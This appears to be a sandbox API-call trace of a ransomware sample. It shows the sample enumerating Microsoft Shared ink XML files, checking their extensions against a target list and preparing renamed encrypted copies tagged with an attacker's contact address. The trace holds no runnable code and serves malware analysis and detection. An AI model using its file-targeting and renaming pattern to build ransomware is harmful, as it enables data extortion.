	[0041.129] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.129] lstrlenW (lpString=".jpg") returned 4
	[0041.129] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.130] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.130] lstrlenW (lpString="numbase.xml") returned 11
	[0041.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0041.130] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1218) returned 1
	[0041.130] CloseHandle (hObject=0x19c) returned 1
	[0041.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20
	[0041.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.131] lstrlenW (lpString=".doc") returned 4
	[0041.131] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.131] lstrlenW (lpString=".docx") returned 5
	[0041.131] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.131] lstrlenW (lpString=".pdf") returned 4
	[0041.131] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.131] lstrlenW (lpString=".xls") returned 4
	[0041.131] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.131] lstrlenW (lpString=".xlsx") returned 5
	[0041.131] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.131] lstrlenW (lpString=".ppt") returned 4
	[0041.131] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.131] lstrlenW (lpString=".zip") returned 4
	[0041.131] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.131] lstrlenW (lpString=".rar") returned 4
	[0041.131] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.131] lstrlenW (lpString=".bz2") returned 4
	[0041.131] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.131] lstrlenW (lpString=".7z") returned 3
	[0041.131] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.131] lstrlenW (lpString=".dbf") returned 4
	[0041.131] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.132] lstrlenW (lpString=".1cd") returned 4
	[0041.132] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.132] lstrlenW (lpString=".jpg") returned 4
	[0041.132] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.132] lstrlenW (lpString=".doc") returned 4
	[0041.132] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.132] lstrlenW (lpString=".docx") returned 5
	[0041.132] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.132] lstrlenW (lpString=".pdf") returned 4
	[0041.132] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.132] lstrlenW (lpString=".xls") returned 4
	[0041.132] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.132] lstrlenW (lpString=".xlsx") returned 5
	[0041.132] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.132] lstrlenW (lpString=".ppt") returned 4
	[0041.132] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.132] lstrlenW (lpString=".zip") returned 4
	[0041.132] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.132] lstrlenW (lpString=".rar") returned 4
	[0041.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.133] lstrlenW (lpString=".bz2") returned 4
	[0041.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.133] lstrlenW (lpString=".7z") returned 3
	[0041.133] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.133] lstrlenW (lpString=".dbf") returned 4
	[0041.133] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.133] lstrlenW (lpString=".1cd") returned 4
	[0041.133] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84
	[0041.133] lstrlenW (lpString=".jpg") returned 4
	[0041.133] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.133] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.133] lstrlenW (lpString="numbers.xml") returned 11
	[0041.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0041.821] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=209) returned 1
	[0041.821] CloseHandle (hObject=0x160) returned 1
	[0041.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20
	[0041.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.821] lstrlenW (lpString=".doc") returned 4
	[0041.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.822] lstrlenW (lpString=".docx") returned 5
	[0041.822] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0041.822] lstrlenW (lpString=".pdf") returned 4
	[0041.822] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.822] lstrlenW (lpString=".xls") returned 4
	[0041.822] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.822] lstrlenW (lpString=".xlsx") returned 5
	[0041.822] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0041.822] lstrlenW (lpString=".ppt") returned 4
	[0041.822] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.822] lstrlenW (lpString=".zip") returned 4
	[0041.822] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.822] lstrlenW (lpString=".rar") returned 4
	[0041.822] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.822] lstrlenW (lpString=".bz2") returned 4
	[0041.822] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.822] lstrlenW (lpString=".7z") returned 3
	[0041.822] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.822] lstrlenW (lpString=".dbf") returned 4
	[0041.822] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.822] lstrlenW (lpString=".1cd") returned 4
	[0041.822] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.823] lstrlenW (lpString=".jpg") returned 4
	[0041.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.823] lstrlenW (lpString=".doc") returned 4
	[0041.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.823] lstrlenW (lpString=".docx") returned 5
	[0041.823] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0041.823] lstrlenW (lpString=".pdf") returned 4
	[0041.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.823] lstrlenW (lpString=".xls") returned 4
	[0041.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.823] lstrlenW (lpString=".xlsx") returned 5
	[0041.823] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0041.823] lstrlenW (lpString=".ppt") returned 4
	[0041.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.823] lstrlenW (lpString=".zip") returned 4
	[0041.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.823] lstrlenW (lpString=".rar") returned 4
	[0041.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.823] lstrlenW (lpString=".bz2") returned 4
	[0041.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.823] lstrlenW (lpString=".7z") returned 3
	[0041.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.823] lstrlenW (lpString=".dbf") returned 4
	[0041.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.823] lstrlenW (lpString=".1cd") returned 4
	[0041.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0041.824] lstrlenW (lpString=".jpg") returned 4
	[0041.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.824] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.824] lstrlenW (lpString="oskmenubase.xml") returned 15
	[0041.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0041.854] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=471) returned 1
	[0041.854] CloseHandle (hObject=0x160) returned 1
	[0041.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20
	[0041.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.854] lstrlenW (lpString=".doc") returned 4
	[0041.854] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.854] lstrlenW (lpString=".docx") returned 5
	[0041.854] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.854] lstrlenW (lpString=".pdf") returned 4
	[0041.854] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.854] lstrlenW (lpString=".xls") returned 4
	[0041.854] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.854] lstrlenW (lpString=".xlsx") returned 5
	[0041.855] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.855] lstrlenW (lpString=".ppt") returned 4
	[0041.855] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.855] lstrlenW (lpString=".zip") returned 4
	[0041.855] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.855] lstrlenW (lpString=".rar") returned 4
	[0041.855] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.855] lstrlenW (lpString=".bz2") returned 4
	[0041.855] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.855] lstrlenW (lpString=".7z") returned 3
	[0041.855] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.855] lstrlenW (lpString=".dbf") returned 4
	[0041.855] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.855] lstrlenW (lpString=".1cd") returned 4
	[0041.855] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.855] lstrlenW (lpString=".jpg") returned 4
	[0041.855] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.855] lstrlenW (lpString=".doc") returned 4
	[0041.855] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.855] lstrlenW (lpString=".docx") returned 5
	[0041.855] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.855] lstrlenW (lpString=".pdf") returned 4
	[0041.855] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.856] lstrlenW (lpString=".xls") returned 4
	[0041.856] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.856] lstrlenW (lpString=".xlsx") returned 5
	[0041.856] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.856] lstrlenW (lpString=".ppt") returned 4
	[0041.856] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.856] lstrlenW (lpString=".zip") returned 4
	[0041.856] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.856] lstrlenW (lpString=".rar") returned 4
	[0041.856] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.856] lstrlenW (lpString=".bz2") returned 4
	[0041.856] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.856] lstrlenW (lpString=".7z") returned 3
	[0041.856] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.856] lstrlenW (lpString=".dbf") returned 4
	[0041.856] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.856] lstrlenW (lpString=".1cd") returned 4
	[0041.856] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0041.856] lstrlenW (lpString=".jpg") returned 4
	[0041.856] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.856] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.856] lstrlenW (lpString="oskmenu.xml") returned 11
	[0041.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0041.857] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=215) returned 1
	[0041.857] CloseHandle (hObject=0x160) returned 1
	[0041.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20
	[0041.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.857] lstrlenW (lpString=".doc") returned 4
	[0041.857] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.857] lstrlenW (lpString=".docx") returned 5
	[0041.857] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0041.857] lstrlenW (lpString=".pdf") returned 4
	[0041.857] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.857] lstrlenW (lpString=".xls") returned 4
	[0041.857] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.857] lstrlenW (lpString=".xlsx") returned 5
	[0041.857] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0041.857] lstrlenW (lpString=".ppt") returned 4
	[0041.857] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.858] lstrlenW (lpString=".zip") returned 4
	[0041.858] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.858] lstrlenW (lpString=".rar") returned 4
	[0041.858] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString=".bz2") returned 4
	[0041.858] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString=".7z") returned 3
	[0041.858] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.858] lstrlenW (lpString=".dbf") returned 4
	[0041.858] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.858] lstrlenW (lpString=".1cd") returned 4
	[0041.858] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.858] lstrlenW (lpString=".jpg") returned 4
	[0041.858] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.858] lstrlenW (lpString=".doc") returned 4
	[0041.858] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString=".docx") returned 5
	[0041.858] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0041.858] lstrlenW (lpString=".pdf") returned 4
	[0041.858] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString=".xls") returned 4
	[0041.858] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.858] lstrlenW (lpString=".xlsx") returned 5
	[0041.858] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0041.859] lstrlenW (lpString=".ppt") returned 4
	[0041.859] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.859] lstrlenW (lpString=".zip") returned 4
	[0041.859] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.859] lstrlenW (lpString=".rar") returned 4
	[0041.859] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.859] lstrlenW (lpString=".bz2") returned 4
	[0041.859] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.859] lstrlenW (lpString=".7z") returned 3
	[0041.859] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.859] lstrlenW (lpString=".dbf") returned 4
	[0041.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.859] lstrlenW (lpString=".1cd") returned 4
	[0041.859] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0041.859] lstrlenW (lpString=".jpg") returned 4
	[0041.859] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.859] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.859] lstrlenW (lpString="osknumpadbase.xml") returned 17
	[0041.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0041.860] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1437) returned 1
	[0041.860] CloseHandle (hObject=0x160) returned 1
	[0041.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20
